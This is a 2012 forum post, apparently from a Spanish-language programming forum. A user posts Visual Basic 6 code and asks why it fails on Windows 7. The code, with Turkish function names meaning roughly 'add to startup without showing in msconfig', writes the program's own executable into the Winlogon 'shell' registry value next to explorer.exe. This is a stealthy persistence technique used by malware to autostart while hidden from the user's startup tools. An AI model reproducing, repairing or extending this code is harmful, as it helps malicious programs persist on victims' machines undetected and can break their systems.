Autor Tema: Hide msconfig code help win7  (Leído 2253 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Harmmy

  • Bytes
  • *
  • Mensajes: 22
  • Reputación: +0/-0
    • Ver Perfil
Hide msconfig code help win7
« en: Agosto 09, 2012, 07:33:12 am »
My project is msconfig hide code:
Código: (VB) [Seleccionar]
Private Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA" (ByVal HKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, ByRef phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal HKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32" (ByVal HKey As Long) As Long
 
 
Private Const HKEY_CURRENT_USER = &H80000001
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const KEY_WRITE = &H20006
Private Const REG_SZ = 1
 
Private Function Baslangica_Ekle_MsConfige_Gozukmeden()
Dim sMyPath As String
sMyPath = (App.Path & "\" & App.EXEName & ".exe")
Call Dosyayi_Baslangica_Ekle(HKEY_LOCAL_MACHINE, "shell", "explorer.exe," & sMyPath, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon")
End Function
 
Private Sub Dosyayi_Baslangica_Ekle(ByVal HKey As Long, ByVal MKey As String, ByVal stringKeyVal As String, ByVal subkey As String)
Dim HRKey As Long, StrB As String
Dim retval As Long
    retval = RegOpenKeyEx(HKey, subkey, 0, KEY_WRITE, HRKey)
        If retval <> 0 Then
            Exit Sub
        End If
    StrB = stringKeyVal & vbNullChar
    retval = RegSetValueEx(HRKey, MKey, 0, REG_SZ, ByVal StrB, Len(StrB))
    RegCloseKey HRKey
End Sub

windows7 but when restart again that being black background


help